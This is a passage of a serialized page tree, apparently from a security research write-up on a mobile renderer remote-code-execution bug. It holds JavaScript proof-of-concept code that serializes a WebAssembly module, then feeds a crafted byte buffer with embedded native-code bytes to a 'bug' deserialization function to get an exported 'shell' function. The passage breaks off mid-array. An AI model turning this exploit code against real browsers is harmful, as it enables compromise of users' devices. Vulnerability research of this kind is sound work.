568},{"type":24,"tag":83,"props":136171,"children":136172},{"style":245},[136173],{"type":29,"value":3756},{"type":24,"tag":83,"props":136175,"children":136176},{"style":107},[136177],{"type":29,"value":568},{"type":24,"tag":83,"props":136179,"children":136180},{"style":245},[136181],{"type":29,"value":1166},{"type":24,"tag":83,"props":136183,"children":136184},{"style":107},[136185],{"type":29,"value":568},{"type":24,"tag":83,"props":136187,"children":136188},{"style":245},[136189],{"type":29,"value":1166},{"type":24,"tag":83,"props":136191,"children":136192},{"style":107},[136193],{"type":29,"value":568},{"type":24,"tag":83,"props":136195,"children":136196},{"style":245},[136197],{"type":29,"value":1166},{"type":24,"tag":83,"props":136199,"children":136200},{"style":107},[136201],{"type":29,"value":568},{"type":24,"tag":83,"props":136203,"children":136204},{"style":245},[136205],{"type":29,"value":3756},{"type":24,"tag":83,"props":136207,"children":136208},{"style":107},[136209],{"type":29,"value":568},{"type":24,"tag":83,"props":136211,"children":136212},{"style":245},[136213],{"type":29,"value":17265},{"type":24,"tag":83,"props":136215,"children":136216},{"style":107},[136217],{"type":29,"value":568},{"type":24,"tag":83,"props":136219,"children":136220},{"style":245},[136221],{"type":29,"value":3756},{"type":24,"tag":83,"props":136223,"children":136224},{"style":107},[136225],{"type":29,"value":568},{"type":24,"tag":83,"props":136227,"children":136228},{"style":245},[136229],{"type":29,"value":133105},{"type":24,"tag":83,"props":136231,"children":136232},{"style":107},[136233],{"type":29,"value":568},{"type":24,"tag":83,"props":136235,"children":136236},{"style":245},[136237],{"type":29,"value":1166},{"type":24,"tag":83,"props":136239,"children":136240},{"style":107},[136241],{"type":29,"value":568},{"type":24,"tag":83,"props":136243,"children":136244},{"style":245},[136245],{"type":29,"value":1166},{"type":24,"tag":83,"props":136247,"children":136248},{"style":107},[136249],{"type":29,"value":568},{"type":24,"tag":83,"props":136251,"children":136252},{"style":245},[136253],{"type":29,"value":17032},{"type":24,"tag":83,"props":136255,"children":136256},{"style":107},[136257],{"type":29,"value":568},{"type":24,"tag":83,"props":136259,"children":136260},{"style":245},[136261],{"type":29,"value":2867},{"type":24,"tag":83,"props":136263,"children":136264},{"style":107},[136265],{"type":29,"value":568},{"type":24,"tag":83,"props":136267,"children":136268},{"style":245},[136269],{"type":29,"value":3756},{"type":24,"tag":83,"props":136271,"children":136272},{"style":107},[136273],{"type":29,"value":568},{"type":24,"tag":83,"props":136275,"children":136276},{"style":245},[136277],{"type":29,"value":1166},{"type":24,"tag":83,"props":136279,"children":136280},{"style":107},[136281],{"type":29,"value":568},{"type":24,"tag":83,"props":136283,"children":136284},{"style":245},[136285],{"type":29,"value":54384},{"type":24,"tag":83,"props":136287,"children":136288},{"style":107},[136289],{"type":29,"value":568},{"type":24,"tag":83,"props":136291,"children":136292},{"style":245},[136293],{"type":29,"value":55599},{"type":24,"tag":83,"props":136295,"children":136296},{"style":107},[136297],{"type":29,"value":568},{"type":24,"tag":83,"props":136299,"children":136300},{"style":245},[136301],{"type":29,"value":3756},{"type":24,"tag":83,"props":136303,"children":136304},{"style":107},[136305],{"type":29,"value":568},{"type":24,"tag":83,"props":136307,"children":136308},{"style":245},[136309],{"type":29,"value":17845},{"type":24,"tag":83,"props":136311,"children":136312},{"style":107},[136313],{"type":29,"value":568},{"type":24,"tag":83,"props":136315,"children":136316},{"style":245},[136317],{"type":29,"value":133031},{"type":24,"tag":83,"props":136319,"children":136320},{"style":107},[136321],{"type":29,"value":568},{"type":24,"tag":83,"props":136323,"children":136324},{"style":245},[136325],{"type":29,"value":133202},{"type":24,"tag":83,"props":136327,"children":136328},{"style":107},[136329],{"type":29,"value":568},{"type":24,"tag":83,"props":136331,"children":136332},{"style":245},[136333],{"type":29,"value":133211},{"type":24,"tag":83,"props":136335,"children":136336},{"style":107},[136337],{"type":29,"value":568},{"type":24,"tag":83,"props":136339,"children":136340},{"style":245},[136341],{"type":29,"value":133220},{"type":24,"tag":83,"props":136343,"children":136344},{"style":107},[136345],{"type":29,"value":568},{"type":24,"tag":83,"props":136347,"children":136348},{"style":245},[136349],{"type":29,"value":133220},{"type":24,"tag":83,"props":136351,"children":136352},{"style":107},[136353],{"type":29,"value":989},{"type":24,"tag":83,"props":136355,"children":136356},{"class":85,"line":183},[136357,136361,136365,136369,136373,136377,136381,136385,136389,136393,136397,136401,136405,136409,136413,136417],{"type":24,"tag":83,"props":136358,"children":136359},{"style":245},[136360],{"type":29,"value":133730},{"type":24,"tag":83,"props":136362,"children":136363},{"style":107},[136364],{"type":29,"value":568},{"type":24,"tag":83,"props":136366,"children":136367},{"style":245},[136368],{"type":29,"value":1166},{"type":24,"tag":83,"props":136370,"children":136371},{"style":107},[136372],{"type":29,"value":568},{"type":24,"tag":83,"props":136374,"children":136375},{"style":245},[136376],{"type":29,"value":88966},{"type":24,"tag":83,"props":136378,"children":136379},{"style":107},[136380],{"type":29,"value":568},{"type":24,"tag":83,"props":136382,"children":136383},{"style":245},[136384],{"type":29,"value":17265},{"type":24,"tag":83,"props":136386,"children":136387},{"style":107},[136388],{"type":29,"value":568},{"type":24,"tag":83,"props":136390,"children":136391},{"style":245},[136392],{"type":29,"value":3756},{"type":24,"tag":83,"props":136394,"children":136395},{"style":107},[136396],{"type":29,"value":568},{"type":24,"tag":83,"props":136398,"children":136399},{"style":245},[136400],{"type":29,"value":2867},{"type":24,"tag":83,"props":136402,"children":136403},{"style":107},[136404],{"type":29,"value":568},{"type":24,"tag":83,"props":136406,"children":136407},{"style":245},[136408],{"type":29,"value":1166},{"type":24,"tag":83,"props":136410,"children":136411},{"style":107},[136412],{"type":29,"value":568},{"type":24,"tag":83,"props":136414,"children":136415},{"style":245},[136416],{"type":29,"value":133296},{"type":24,"tag":83,"props":136418,"children":136419},{"style":107},[136420],{"type":29,"value":989},{"type":24,"tag":83,"props":136422,"children":136423},{"class":85,"line":203},[136424],{"type":24,"tag":83,"props":136425,"children":136426},{"style":107},[136427],{"type":29,"value":134017},{"type":24,"tag":83,"props":136429,"children":136430},{"class":85,"line":212},[136431,136435,136439,136443,136447,136451,136455,136459,136463,136467],{"type":24,"tag":83,"props":136432,"children":136433},{"style":90},[136434],{"type":29,"value":136114},{"type":24,"tag":83,"props":136436,"children":136437},{"style":137},[136438],{"type":29,"value":71339},{"type":24,"tag":83,"props":136440,"children":136441},{"style":143},[136442],{"type":29,"value":146},{"type":24,"tag":83,"props":136444,"children":136445},{"style":90},[136446],{"type":29,"value":944},{"type":24,"tag":83,"props":136448,"children":136449},{"style":137},[136450],{"type":29,"value":133331},{"type":24,"tag":83,"props":136452,"children":136453},{"style":107},[136454],{"type":29,"value":161},{"type":24,"tag":83,"props":136456,"children":136457},{"style":101},[136458],{"type":29,"value":85632},{"type":24,"tag":83,"props":136460,"children":136461},{"style":107},[136462],{"type":29,"value":558},{"type":24,"tag":83,"props":136464,"children":136465},{"style":137},[136466],{"type":29,"value":133348},{"type":24,"tag":83,"props":136468,"children":136469},{"style":107},[136470],{"type":29,"value":581},{"type":24,"tag":83,"props":136472,"children":136473},{"class":85,"line":256},[136474,136478,136482,136486,136490,136494,136498,136502,136506,136510],{"type":24,"tag":83,"props":136475,"children":136476},{"style":90},[136477],{"type":29,"value":136114},{"type":24,"tag":83,"props":136479,"children":136480},{"style":137},[136481],{"type":29,"value":133364},{"type":24,"tag":83,"props":136483,"children":136484},{"style":143},[136485],{"type":29,"value":146},{"type":24,"tag":83,"props":136487,"children":136488},{"style":90},[136489],{"type":29,"value":944},{"type":24,"tag":83,"props":136491,"children":136492},{"style":137},[136493],{"type":29,"value":133331},{"type":24,"tag":83,"props":136495,"children":136496},{"style":107},[136497],{"type":29,"value":161},{"type":24,"tag":83,"props":136499,"children":136500},{"style":101},[136501],{"type":29,"value":133385},{"type":24,"tag":83,"props":136503,"children":136504},{"style":107},[136505],{"type":29,"value":558},{"type":24,"tag":83,"props":136507,"children":136508},{"style":137},[136509],{"type":29,"value":133394},{"type":24,"tag":83,"props":136511,"children":136512},{"style":107},[136513],{"type":29,"value":581},{"type":24,"tag":83,"props":136515,"children":136516},{"class":85,"line":270},[136517,136521,136525,136529,136533,136537,136541,136545,136549],{"type":24,"tag":83,"props":136518,"children":136519},{"style":90},[136520],{"type":29,"value":136114},{"type":24,"tag":83,"props":136522,"children":136523},{"style":137},[136524],{"type":29,"value":79723},{"type":24,"tag":83,"props":136526,"children":136527},{"style":143},[136528],{"type":29,"value":146},{"type":24,"tag":83,"props":136530,"children":136531},{"style":137},[136532],{"type":29,"value":133364},{"type":24,"tag":83,"props":136534,"children":136535},{"style":107},[136536],{"type":29,"value":161},{"type":24,"tag":83,"props":136538,"children":136539},{"style":137},[136540],{"type":29,"value":37609},{"type":24,"tag":83,"props":136542,"children":136543},{"style":107},[136544],{"type":29,"value":161},{"type":24,"tag":83,"props":136546,"children":136547},{"style":137},[136548],{"type":29,"value":133434},{"type":24,"tag":83,"props":136550,"children":136551},{"style":107},[136552],{"type":29,"value":321},{"type":24,"tag":83,"props":136554,"children":136555},{"class":85,"line":302},[136556],{"type":24,"tag":83,"props":136557,"children":136558},{"emptyLinePlaceholder":16},[136559],{"type":29,"value":3422},{"type":24,"tag":83,"props":136561,"children":136562},{"class":85,"line":324},[136563],{"type":24,"tag":83,"props":136564,"children":136565},{"style":2735},[136566],{"type":29,"value":136567},"  // %WasmTierUpFunction(func);\n",{"type":24,"tag":83,"props":136569,"children":136570},{"class":85,"line":345},[136571,136576,136580,136584,136588,136592,136596,136600,136604,136608,136612,136616,136620,136624],{"type":24,"tag":83,"props":136572,"children":136573},{"style":117},[136574],{"type":29,"value":136575},"  for",{"type":24,"tag":83,"props":136577,"children":136578},{"style":107},[136579],{"type":29,"value":223},{"type":24,"tag":83,"props":136581,"children":136582},{"style":90},[136583],{"type":29,"value":11534},{"type":24,"tag":83,"props":136585,"children":136586},{"style":137},[136587],{"type":29,"value":3142},{"type":24,"tag":83,"props":136589,"children":136590},{"style":143},[136591],{"type":29,"value":146},{"type":24,"tag":83,"props":136593,"children":136594},{"style":245},[136595],{"type":29,"value":248},{"type":24,"tag":83,"props":136597,"children":136598},{"style":107},[136599],{"type":29,"value":16963},{"type":24,"tag":83,"props":136601,"children":136602},{"style":137},[136603],{"type":29,"value":3482},{"type":24,"tag":83,"props":136605,"children":136606},{"style":143},[136607],{"type":29,"value":8463},{"type":24,"tag":83,"props":136609,"children":136610},{"style":245},[136611],{"type":29,"value":136036},{"type":24,"tag":83,"props":136613,"children":136614},{"style":107},[136615],{"type":29,"value":16963},{"type":24,"tag":83,"props":136617,"children":136618},{"style":137},[136619],{"type":29,"value":3482},{"type":24,"tag":83,"props":136621,"children":136622},{"style":143},[136623],{"type":29,"value":50984},{"type":24,"tag":83,"props":136625,"children":136626},{"style":107},[136627],{"type":29,"value":253},{"type":24,"tag":83,"props":136629,"children":136630},{"class":85,"line":358},[136631,136636],{"type":24,"tag":83,"props":136632,"children":136633},{"style":101},[136634],{"type":29,"value":136635},"    func",{"type":24,"tag":83,"props":136637,"children":136638},{"style":107},[136639],{"type":29,"value":267},{"type":24,"tag":83,"props":136641,"children":136642},{"class":85,"line":367},[136643],{"type":24,"tag":83,"props":136644,"children":136645},{"style":107},[136646],{"type":29,"value":455},{"type":24,"tag":83,"props":136648,"children":136649},{"class":85,"line":406},[136650],{"type":24,"tag":83,"props":136651,"children":136652},{"emptyLinePlaceholder":16},[136653],{"type":29,"value":3422},{"type":24,"tag":83,"props":136655,"children":136656},{"class":85,"line":427},[136657,136661,136665,136669,136673,136677,136681],{"type":24,"tag":83,"props":136658,"children":136659},{"style":90},[136660],{"type":29,"value":655},{"type":24,"tag":83,"props":136662,"children":136663},{"style":137},[136664],{"type":29,"value":135470},{"type":24,"tag":83,"props":136666,"children":136667},{"style":143},[136668],{"type":29,"value":146},{"type":24,"tag":83,"props":136670,"children":136671},{"style":101},[136672],{"type":29,"value":135479},{"type":24,"tag":83,"props":136674,"children":136675},{"style":107},[136676],{"type":29,"value":558},{"type":24,"tag":83,"props":136678,"children":136679},{"style":137},[136680],{"type":29,"value":133394},{"type":24,"tag":83,"props":136682,"children":136683},{"style":107},[136684],{"type":29,"value":581},{"type":24,"tag":83,"props":136686,"children":136687},{"class":85,"line":440},[136688,136692,136696,136700,136704,136708,136712,136716,136720,136724],{"type":24,"tag":83,"props":136689,"children":136690},{"style":137},[136691],{"type":29,"value":135515},{"type":24,"tag":83,"props":136693,"children":136694},{"style":143},[136695],{"type":29,"value":146},{"type":24,"tag":83,"props":136697,"children":136698},{"style":107},[136699],{"type":29,"value":223},{"type":24,"tag":83,"props":136701,"children":136702},{"style":117},[136703],{"type":29,"value":32655},{"type":24,"tag":83,"props":136705,"children":136706},{"style":137},[136707],{"type":29,"value":135470},{"type":24,"tag":83,"props":136709,"children":136710},{"style":107},[136711],{"type":29,"value":161},{"type":24,"tag":83,"props":136713,"children":136714},{"style":101},[136715],{"type":29,"value":57279},{"type":24,"tag":83,"props":136717,"children":136718},{"style":107},[136719],{"type":29,"value":135544},{"type":24,"tag":83,"props":136721,"children":136722},{"style":137},[136723],{"type":29,"value":38870},{"type":24,"tag":83,"props":136725,"children":136726},{"style":107},[136727],{"type":29,"value":321},{"type":24,"tag":83,"props":136729,"children":136730},{"class":85,"line":449},[136731,136735,136739,136743,136747,136751],{"type":24,"tag":83,"props":136732,"children":136733},{"style":137},[136734],{"type":29,"value":101477},{"type":24,"tag":83,"props":136736,"children":136737},{"style":107},[136738],{"type":29,"value":161},{"type":24,"tag":83,"props":136740,"children":136741},{"style":101},[136742],{"type":29,"value":101486},{"type":24,"tag":83,"props":136744,"children":136745},{"style":107},[136746],{"type":29,"value":558},{"type":24,"tag":83,"props":136748,"children":136749},{"style":137},[136750],{"type":29,"value":8828},{"type":24,"tag":83,"props":136752,"children":136753},{"style":107},[136754],{"type":29,"value":581},{"type":24,"tag":83,"props":136756,"children":136757},{"class":85,"line":458},[136758],{"type":24,"tag":83,"props":136759,"children":136760},{"emptyLinePlaceholder":16},[136761],{"type":29,"value":3422},{"type":24,"tag":83,"props":136763,"children":136764},{"class":85,"line":1065},[136765,136769,136774,136778,136782,136786,136790,136794],{"type":24,"tag":83,"props":136766,"children":136767},{"style":90},[136768],{"type":29,"value":655},{"type":24,"tag":83,"props":136770,"children":136771},{"style":137},[136772],{"type":29,"value":136773}," result_bytes",{"type":24,"tag":83,"props":136775,"children":136776},{"style":143},[136777],{"type":29,"value":146},{"type":24,"tag":83,"props":136779,"children":136780},{"style":90},[136781],{"type":29,"value":944},{"type":24,"tag":83,"props":136783,"children":136784},{"style":101},[136785],{"type":29,"value":133000},{"type":24,"tag":83,"props":136787,"children":136788},{"style":107},[136789],{"type":29,"value":558},{"type":24,"tag":83,"props":136791,"children":136792},{"style":137},[136793],{"type":29,"value":8828},{"type":24,"tag":83,"props":136795,"children":136796},{"style":107},[136797],{"type":29,"value":581},{"type":24,"tag":83,"props":136799,"children":136800},{"class":85,"line":1668},[136801,136805,136809,136813,136817,136821,136825,136829,136833,136837,136841,136845,136849,136853,136857],{"type":24,"tag":83,"props":136802,"children":136803},{"style":137},[136804],{"type":29,"value":101477},{"type":24,"tag":83,"props":136806,"children":136807},{"style":107},[136808],{"type":29,"value":161},{"type":24,"tag":83,"props":136810,"children":136811},{"style":101},[136812],{"type":29,"value":101486},{"type":24,"tag":83,"props":136814,"children":136815},{"style":107},[136816],{"type":29,"value":558},{"type":24,"tag":83,"props":136818,"children":136819},{"style":187},[136820],{"type":29,"value":133567},{"type":24,"tag":83,"props":136822,"children":136823},{"style":143},[136824],{"type":29,"value":8649},{"type":24,"tag":83,"props":136826,"children":136827},{"style":137},[136828],{"type":29,"value":136773},{"type":24,"tag":83,"props":136830,"children":136831},{"style":107},[136832],{"type":29,"value":161},{"type":24,"tag":83,"props":136834,"children":136835},{"style":101},[136836],{"type":29,"value":133584},{"type":24,"tag":83,"props":136838,"children":136839},{"style":107},[136840],{"type":29,"value":558},{"type":24,"tag":83,"props":136842,"children":136843},{"style":187},[136844],{"type":29,"value":133593},{"type":24,"tag":83,"props":136846,"children":136847},{"style":107},[136848],{"type":29,"value":633},{"type":24,"tag":83,"props":136850,"children":136851},{"style":143},[136852],{"type":29,"value":4126},{"type":24,"tag":83,"props":136854,"children":136855},{"style":187},[136856],{"type":29,"value":133606},{"type":24,"tag":83,"props":136858,"children":136859},{"style":107},[136860],{"type":29,"value":581},{"type":24,"tag":83,"props":136862,"children":136863},{"class":85,"line":1713},[136864],{"type":24,"tag":83,"props":136865,"children":136866},{"style":107},[136867],{"type":29,"value":101518},{"type":24,"tag":25,"props":136869,"children":136870},{},[136871],{"type":29,"value":136872},"We get the serialized bytes:",{"type":24,"tag":25,"props":136874,"children":136875},{},[136876],{"type":24,"tag":2510,"props":136877,"children":136880},{"alt":136878,"src":136879},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":24,"tag":25,"props":136882,"children":136883},{},[136884,136886,136891],{"type":29,"value":136885},"We can now embed this output into the original bytecode that calls ",{"type":24,"tag":32,"props":136887,"children":136889},{"className":136888},[],[136890],{"type":29,"value":132463},{"type":29,"value":195},{"type":24,"tag":73,"props":136893,"children":136895},{"code":136894,"language":35350,"meta":7,"className":35348,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[136896],{"type":24,"tag":32,"props":136897,"children":136898},{"__ignoreMap":7},[136899,136922,136949,137168,137235,137242,137269,137480,137731,137982,138206,138388,138609,138687,138694,138741,138784,138820,138863,138902,138929],{"type":24,"tag":83,"props":136900,"children":136901},{"class":85,"line":86},[136902,136906,136910,136914,136918],{"type":24,"tag":83,"props":136903,"children":136904},{"style":107},[136905],{"type":29,"value":558},{"type":24,"tag":83,"props":136907,"children":136908},{"style":90},[136909],{"type":29,"value":93},{"type":24,"tag":83,"props":136911,"children":136912},{"style":107},[136913],{"type":29,"value":39412},{"type":24,"tag":83,"props":136915,"children":136916},{"style":90},[136917],{"type":29,"value":14564},{"type":24,"tag":83,"props":136919,"children":136920},{"style":107},[136921],{"type":29,"value":125},{"type":24,"tag":83,"props":136923,"children":136924},{"class":85,"line":113},[136925,136929,136933,136937,136941,136945],{"type":24,"tag":83,"props":136926,"children":136927},{"style":90},[136928],{"type":29,"value":526},{"type":24,"tag":83,"props":136930,"children":136931},{"style":137},[136932],{"type":29,"value":132987},{"type":24,"tag":83,"props":136934,"children":136935},{"style":143},[136936],{"type":29,"value":146},{"type":24,"tag":83,"props":136938,"children":136939},{"style":90},[136940],{"type":29,"value":944},{"type":24,"tag":83,"props":136942,"children":136943},{"style":101},[136944],{"type":29,"value":133000},{"type":24,"tag":83,"props":136946,"children":136947},{"style":107},[136948],{"type":29,"value":133005},{"type":24,"tag":83,"props":136950,"children":136951},{"class":85,"line":128},[136952,136956,136960,136964,136968,136972,136976,136980,136984,136988,136992,136996,137000,137004,137008,137012,137016,137020,137024,137028,137032,137036,137040,137044,137048,137052,137056,137060,137064,137068,137072,137076,137080,137084,137088,137092,137096,137100,137104,137108,137112,137116,137120,137124,137128,137132,137136,137140,137144,137148,137152,137156,137160,137164],{"type":24,"tag":83,"props":136953,"children":136954},{"style":245},[136955],{"type":29,"value":133730},{"type":24,"tag":83,"props":136957,"children":136958},{"style":107},[136959],{"type":29,"value":568},{"type":24,"tag":83,"props":136961,"children":136962},{"style":245},[136963],{"type":29,"value":133022},{"type":24,"tag":83,"props":136965,"children":136966},{"style":107},[136967],{"type":29,"value":568},{"type":24,"tag":83,"props":136969,"children":136970},{"style":245},[136971],{"type":29,"value":133031},{"type":24,"tag":83,"props":136973,"children":136974},{"style":107},[136975],{"type":29,"value":568},{"type":24,"tag":83,"props":136977,"children":136978},{"style":245},[136979],{"type":29,"value":133040},{"type":24,"tag":83,"props":136981,"children":136982},{"style":107},[136983],{"type":29,"value":568},{"type":24,"tag":83,"props":136985,"children":136986},{"style":245},[136987],{"type":29,"value":3756},{"type":24,"tag":83,"props":136989,"children":136990},{"style":107},[136991],{"type":29,"value":568},{"type":24,"tag":83,"props":136993,"children":136994},{"style":245},[136995],{"type":29,"value":1166},{"type":24,"tag":83,"props":136997,"children":136998},{"style":107},[136999],{"type":29,"value":568},{"type":24,"tag":83,"props":137001,"children":137002},{"style":245},[137003],{"type":29,"value":1166},{"type":24,"tag":83,"props":137005,"children":137006},{"style":107},[137007],{"type":29,"value":568},{"type":24,"tag":83,"props":137009,"children":137010},{"style":245},[137011],{"type":29,"value":1166},{"type":24,"tag":83,"props":137013,"children":137014},{"style":107},[137015],{"type":29,"value":568},{"type":24,"tag":83,"props":137017,"children":137018},{"style":245},[137019],{"type":29,"value":3756},{"type":24,"tag":83,"props":137021,"children":137022},{"style":107},[137023],{"type":29,"value":568},{"type":24,"tag":83,"props":137025,"children":137026},{"style":245},[137027],{"type":29,"value":17265},{"type":24,"tag":83,"props":137029,"children":137030},{"style":107},[137031],{"type":29,"value":568},{"type":24,"tag":83,"props":137033,"children":137034},{"style":245},[137035],{"type":29,"value":3756},{"type":24,"tag":83,"props":137037,"children":137038},{"style":107},[137039],{"type":29,"value":568},{"type":24,"tag":83,"props":137041,"children":137042},{"style":245},[137043],{"type":29,"value":133105},{"type":24,"tag":83,"props":137045,"children":137046},{"style":107},[137047],{"type":29,"value":568},{"type":24,"tag":83,"props":137049,"children":137050},{"style":245},[137051],{"type":29,"value":1166},{"type":24,"tag":83,"props":137053,"children":137054},{"style":107},[137055],{"type":29,"value":568},{"type":24,"tag":83,"props":137057,"children":137058},{"style":245},[137059],{"type":29,"value":1166},{"type":24,"tag":83,"props":137061,"children":137062},{"style":107},[137063],{"type":29,"value":568},{"type":24,"tag":83,"props":137065,"children":137066},{"style":245},[137067],{"type":29,"value":17032},{"type":24,"tag":83,"props":137069,"children":137070},{"style":107},[137071],{"type":29,"value":568},{"type":24,"tag":83,"props":137073,"children":137074},{"style":245},[137075],{"type":29,"value":2867},{"type":24,"tag":83,"props":137077,"children":137078},{"style":107},[137079],{"type":29,"value":568},{"type":24,"tag":83,"props":137081,"children":137082},{"style":245},[137083],{"type":29,"value":3756},{"type":24,"tag":83,"props":137085,"children":137086},{"style":107},[137087],{"type":29,"value":568},{"type":24,"tag":83,"props":137089,"children":137090},{"style":245},[137091],{"type":29,"value":1166},{"type":24,"tag":83,"props":137093,"children":137094},{"style":107},[137095],{"type":29,"value":568},{"type":24,"tag":83,"props":137097,"children":137098},{"style":245},[137099],{"type":29,"value":54384},{"type":24,"tag":83,"props":137101,"children":137102},{"style":107},[137103],{"type":29,"value":568},{"type":24,"tag":83,"props":137105,"children":137106},{"style":245},[137107],{"type":29,"value":55599},{"type":24,"tag":83,"props":137109,"children":137110},{"style":107},[137111],{"type":29,"value":568},{"type":24,"tag":83,"props":137113,"children":137114},{"style":245},[137115],{"type":29,"value":3756},{"type":24,"tag":83,"props":137117,"children":137118},{"style":107},[137119],{"type":29,"value":568},{"type":24,"tag":83,"props":137121,"children":137122},{"style":245},[137123],{"type":29,"value":17845},{"type":24,"tag":83,"props":137125,"children":137126},{"style":107},[137127],{"type":29,"value":568},{"type":24,"tag":83,"props":137129,"children":137130},{"style":245},[137131],{"type":29,"value":133031},{"type":24,"tag":83,"props":137133,"children":137134},{"style":107},[137135],{"type":29,"value":568},{"type":24,"tag":83,"props":137137,"children":137138},{"style":245},[137139],{"type":29,"value":133202},{"type":24,"tag":83,"props":137141,"children":137142},{"style":107},[137143],{"type":29,"value":568},{"type":24,"tag":83,"props":137145,"children":137146},{"style":245},[137147],{"type":29,"value":133211},{"type":24,"tag":83,"props":137149,"children":137150},{"style":107},[137151],{"type":29,"value":568},{"type":24,"tag":83,"props":137153,"children":137154},{"style":245},[137155],{"type":29,"value":133220},{"type":24,"tag":83,"props":137157,"children":137158},{"style":107},[137159],{"type":29,"value":568},{"type":24,"tag":83,"props":137161,"children":137162},{"style":245},[137163],{"type":29,"value":133220},{"type":24,"tag":83,"props":137165,"children":137166},{"style":107},[137167],{"type":29,"value":989},{"type":24,"tag":83,"props":137169,"children":137170},{"class":85,"line":183},[137171,137175,137179,137183,137187,137191,137195,137199,137203,137207,137211,137215,137219,137223,137227,137231],{"type":24,"tag":83,"props":137172,"children":137173},{"style":245},[137174],{"type":29,"value":133730},{"type":24,"tag":83,"props":137176,"children":137177},{"style":107},[137178],{"type":29,"value":568},{"type":24,"tag":83,"props":137180,"children":137181},{"style":245},[137182],{"type":29,"value":1166},{"type":24,"tag":83,"props":137184,"children":137185},{"style":107},[137186],{"type":29,"value":568},{"type":24,"tag":83,"props":137188,"children":137189},{"style":245},[137190],{"type":29,"value":88966},{"type":24,"tag":83,"props":137192,"children":137193},{"style":107},[137194],{"type":29,"value":568},{"type":24,"tag":83,"props":137196,"children":137197},{"style":245},[137198],{"type":29,"value":17265},{"type":24,"tag":83,"props":137200,"children":137201},{"style":107},[137202],{"type":29,"value":568},{"type":24,"tag":83,"props":137204,"children":137205},{"style":245},[137206],{"type":29,"value":3756},{"type":24,"tag":83,"props":137208,"children":137209},{"style":107},[137210],{"type":29,"value":568},{"type":24,"tag":83,"props":137212,"children":137213},{"style":245},[137214],{"type":29,"value":2867},{"type":24,"tag":83,"props":137216,"children":137217},{"style":107},[137218],{"type":29,"value":568},{"type":24,"tag":83,"props":137220,"children":137221},{"style":245},[137222],{"type":29,"value":1166},{"type":24,"tag":83,"props":137224,"children":137225},{"style":107},[137226],{"type":29,"value":568},{"type":24,"tag":83,"props":137228,"children":137229},{"style":245},[137230],{"type":29,"value":133296},{"type":24,"tag":83,"props":137232,"children":137233},{"style":107},[137234],{"type":29,"value":989},{"type":24,"tag":83,"props":137236,"children":137237},{"class":85,"line":203},[137238],{"type":24,"tag":83,"props":137239,"children":137240},{"style":107},[137241],{"type":29,"value":134017},{"type":24,"tag":83,"props":137243,"children":137244},{"class":85,"line":212},[137245,137249,137253,137257,137261,137265],{"type":24,"tag":83,"props":137246,"children":137247},{"style":90},[137248],{"type":29,"value":526},{"type":24,"tag":83,"props":137250,"children":137251},{"style":137},[137252],{"type":29,"value":124800},{"type":24,"tag":83,"props":137254,"children":137255},{"style":143},[137256],{"type":29,"value":146},{"type":24,"tag":83,"props":137258,"children":137259},{"style":90},[137260],{"type":29,"value":944},{"type":24,"tag":83,"props":137262,"children":137263},{"style":101},[137264],{"type":29,"value":133000},{"type":24,"tag":83,"props":137266,"children":137267},{"style":107},[137268],{"type":29,"value":133005},{"type":24,"tag":83,"props":137270,"children":137271},{"class":85,"line":256},[137272,137277,137281,137285,137289,137293,137297,137301,137305,137310,137314,137319,137323,137328,137332,137337,137341,137345,137349,137353,137357,137361,137365,137369,137373,137378,137382,137387,137391,137396,137400,137404,137408,137412,137416,137420,137424,137428,137432,137436,137440,137444,137448,137452,137456,137460,137464,137468,137472,137476],{"type":24,"tag":83,"props":137273,"children":137274},{"style":245},[137275],{"type":29,"value":137276},"    146",{"type":24,"tag":83,"props":137278,"children":137279},{"style":107},[137280],{"type":29,"value":568},{"type":24,"tag":83,"props":137282,"children":137283},{"style":245},[137284],{"type":29,"value":18157},{"type":24,"tag":83,"props":137286,"children":137287},{"style":107},[137288],{"type":29,"value":568},{"type":24,"tag":83,"props":137290,"children":137291},{"style":245},[137292],{"type":29,"value":134069},{"type":24,"tag":83,"props":137294,"children":137295},{"style":107},[137296],{"type":29,"value":568},{"type":24,"tag":83,"props":137298,"children":137299},{"style":245},[137300],{"type":29,"value":134078},{"type":24,"tag":83,"props":137302,"children":137303},{"style":107},[137304],{"type":29,"value":568},{"type":24,"tag":83,"props":137306,"children":137307},{"style":245},[137308],{"type":29,"value":137309},"174",{"type":24,"tag":83,"props":137311,"children":137312},{"style":107},[137313],{"type":29,"value":568},{"type":24,"tag":83,"props":137315,"children":137316},{"style":245},[137317],{"type":29,"value":137318},"122",{"type":24,"tag":83,"props":137320,"children":137321},{"style":107},[137322],{"type":29,"value":568},{"type":24,"tag":83,"props":137324,"children":137325},{"style":245},[137326],{"type":29,"value":137327},"171",{"type":24,"tag":83,"props":137329,"children":137330},{"style":107},[137331],{"type":29,"value":568},{"type":24,"tag":83,"props":137333,"children":137334},{"style":245},[137335],{"type":29,"value":137336},"151",{"type":24,"tag":83,"props":137338,"children":137339},{"style":107},[137340],{"type":29